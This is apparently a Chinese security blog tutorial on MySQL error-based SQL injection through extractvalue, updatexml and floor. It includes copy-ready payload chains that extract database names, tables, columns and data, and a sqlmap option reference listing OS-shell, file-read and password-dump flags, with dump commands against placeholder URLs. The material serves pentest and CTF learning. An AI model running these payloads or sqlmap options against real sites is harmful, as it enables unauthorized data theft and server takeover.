1.Mysql 手工注入

1.报错注入

什么是报错注入

报错注入是一种 SQL 注入类型,用于使 SQL 语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。

通过我看过多篇博客后,发现大多是是使用三种报错注入方式,分别是:floor()、updatexml()、extractvalue()。

extractvalue 和 updatexml 函数形成的 xpath 报错,这算两种。还有一种就是 floor 实现的 group by 主键重复,这算另外一种。

如果想要看十种请移步十种 MySQL 报错注入
注入前提

(1) Web 应用程序未关闭数据库报错函数,对于一些 SQL 语句的错误直接回显在页面上

(2)后台未对一些具有报错功能的函数进行过滤 常用的报错功能函数包括 extractvalue()、updatexml)、floor()、exp()等

extractvalue 和 updatexml 函数报错原理

xml 文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:‘xxxxxxxx’。
该函数最大显示长度为 32,超过长度可以配合 substr、limit 等函数来显示

1.extractvalue

值得注意的是适用的版本:5.1.5+
函数基本格式:

1
ExtractValue(xml_frag, xpath_expr)

可以看到函数里面的参数,简单分析一下,xml_frag参数就是为了上传一个 xml 文档,xpath_expr参数就是用 xpath 路径法查找路径,而 extractvalue 报错注入 就是通过在函数中写如不符合语法格式的 xpath 达到报错的目的,并且通过拼接 sql 注入语句从而通过报错查询并显示我们想要查询的内容;比如我们要查找数据库版本,构造格式如下:

无脑不解释连招如下

0x7e 是符号~,用于区分爆出来的字段

1
2
3
4
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

1.updatexml

与extractvalue函数利用方式差不多,原理大致一致,基本格式如下:

1
UpdateXML(xml_target, xpath_expr, new_xml)

分别分析里面的参数:

xml - taeget:需要操作的xml片段,是string格式,为xml文档对象的名称
xpath -expr:需要更新的路径;
xml -xml:更新后的的xml字段,string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

无脑不解释连招如下

1
2
3
4
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.floor

这种方式可以实现报错的原因是:*虚拟表的主键重复*

floor函数与上面两个的利用方法就不是那么一样了,在了解这个函数之前先看一些会用到的函数。

*floor()函数*:返回小于等于该值的最大整数,即向下取整,只保留整数部分

*rand()函数:* 产生一个伪随机的序列,执行函数,随机产生一个0~1之间的数值。

*count()函数:* 返回指定列的数目。

> COUNT(*)计算所有行,而COUNT(column_name)计算特定列中的非NULL值数量

*group by()函数:* 结合合计函数,根据一个或多个列对结果集进行分组。

> 值得注意的是5.6版本是可以用group by重复的这个报错注入,但是mysql即8.x已经不适用,其他版本不确定

本人对数据库并不是了解很深,仅仅知识了解curd的基本指令,因此这里我还是华丽一段时间理解原理

这位博主关于这块写的很好SQL注入实战之报错注入篇

无脑不解释连招如下

1
2
3
4
爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)

2.Sqlmap 注入

sqlmap详细使用教程_sqlmap使用教程-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
sqlmap常用命令
-h 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
-v 详细等级(0-6 默认 1)
​ 0:只显示python错误以及重要信息
​ 1:显示信息以及警告
​ 2:显示debug消息
​ 3:显示注入payload
​ 4:显示http请求
​ 5:显示http响应头·
​ 6:显示http响应内容

Target:
-u 指定目标url
-d 直接连接数据库
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 从google dork的结果作为目标url
-c 从INI配置文件中加载选项

Request
-A 指定user-agent头
-H 额外的header
-method= 指定HTTP方法(GET/POST)
--data= 通过POST提交数据
--param-del= 指定参数分隔符
--cookie= 指定cookie的值
--cookie-del= 指定cookie分隔符
--drop-set-cookie 扔掉response中的set-cookie头
--random-agent 使用随机的user-agent头
--host= 设置host头
--referer= 指定referer头
--headers= 额外的headers
--auth-type= http认证类型(Basic,NTLM,Digest)
--auith-cred= http认证凭证(账号:密码)
--ignore-proxy 忽略系统代理(常用于扫描本地文件)
--proxy= 使用代理
--proxy-cred= 代理认证证书(账号:密码)
--delay= 设置延迟时间(两个请求之间)
--timeout= 超时时来连接前等待(默认 30)
--retries= 连接超时时重试次数(默认 3)
--randomize= 随机更改指定的参数的值
--safe-url= 在测试期间经常访问的URL
--safe-post= POST数据发送到安全的URL
--safe-freq= 两次请求之间穿插一个安全的URL
--skip-urlencode 跳过payload数据的URL编码
--chunked 使用HTTP分块传输加密POST请求
--hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)
--force-ssl 强制使用SSL/HTTPS
--eval=value 请求之前提供Python代码(eg:"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization
-o 打开所有优化开关
--predict-output 预测输出(与--threads不兼容)
--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)
--null-connection 空连接
--threads=value 设置线程(默认 1)

Injection
-p 指定测试参数
--skip= 跳过指定参数的测试
--skip-static 跳过测试静态的参数
--dbms= 指定具体DBMS
--os= 指定DBMS操作系统
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑符使值无效
--invalid-string 使用字符串使值无效
--no-cast 关闭payload铸造机制
--no-escape 关闭字符转义机制(默认自动开启)
--prefix= 加入payload前缀
--suffix= 加入payload后缀
--tamper= 指定使用的脚本

Detectiong

--level= 指定测试的等级(1-5 默认为1)
--risk= 指定测试的风险(0-3 默认为1)
--string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功
--not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败
--code= 查询为真时,匹配的HTTP代码
--smart 当有大量检测目标时,只选择基于错误的检测结果
--text-only 仅基于文本内容比较网页
--titles 仅基于标题比较网页

Techniques
--technique= 指定sql注入技术(默认BEUSTQ)
--time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)
--union-clos= 进行查询时,指定列的范围
--union-char= 指定暴力破解列数的字符

Fingerprint
-f 查询目标DBMS版本指纹信息

Emuneration
-a 查询所有
-b 查询目标DBMS banner信息
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库
--is-dba 查询目标DBMS当前用户是否为DBA
--users 枚举目标DBMS所有的用户
--paswords 枚举目标DBMS用户密码哈希值
--privileges 枚举目标DBMS用户的权限
--roles 枚举DBMS用户的角色
--dbs 枚举DBMS所有的数据库
--tables 枚举DBMS数据库中所有的表
--columns 枚举DBMS数据库表中所有的列
--count 检索表的条目的数量
--dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目
--D db 指定进行枚举的数据库名称
--T table 指定进行枚举的数据库表名称
--C column 指定进行枚举的数据库列名称
--exclude-sysdbs 枚举表时排除系统数据库
--sql-query 指定查询的sql语句
--sql-shell 提示输入一个交互式sql shell

Brute force
--common-tables 暴力破解表
--common-colomns 暴力破解列

File system access
--file-read 从目标数据库管理文件系统读取文件
--file-write 上传文件到目标数据库管理文件系统
--file-dest 指定写入文件的绝对路径
--os-cmd= 执行操作系统命令
--os-shell 交互式的系统shell
--os-pwn 获取一个OOB shell,Meterpreter或者VNC
--os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC
--os-bof 储存过程缓冲区溢出利用
--os-esc 数据库进程用户权限提升
--msf-path= Metasploit Framework本地安装路径

General
-s sqlite会话文件保存位置
-t 记录所有HTTP流量到指定文件中
--batch 测试过程中, 执行所有默认配置
--charset=v 强制用于数据检索的字符编码
--crawl= 从目标URL开始爬取网站
--crawl-exclude= 禁止爬取某个页面(eg:logout)
--csv-del= 指定CSV输出中使用的的字符
--dump-format= 储存数据的方式(CSV(default),HTML,SQLITE)
--flush-session 刷新当前目标的会话文件
--fresh-queries 忽略会话文件中储存的查询结果,重新查询
--hex 使用DBMS hex函数进行数据检索
--outpout-dir= 自定义输出目录
--save= 保存选项到INI配置文件中
--scope= 使用正则表达式从提供的日志中guo'l
--alert 再找到SQL注入时运行主机操作系统命令
--purge-output 安全的从输出目录中删除所有内容
--sqlmap-shell 提示输入交互式sqlmap shell
--update 更新sqlmap

无脑不解释连招如下

1
2
3
4
爆数据库名:python sqlmap.py -u "http://xxx/?id=1" --current-db --batch   
爆表名:python sqlmap.py -u "http://xxx/?id=1" -D sqli --tables --batch
爆列名:python sqlmap.py -u "http://xxx/?id=1" -D sqli -T flag --columns --batch
爆数据:python sqlmap.py -u "http://xxx/?id=1" -D sqli -T flag -C flag --dump --batch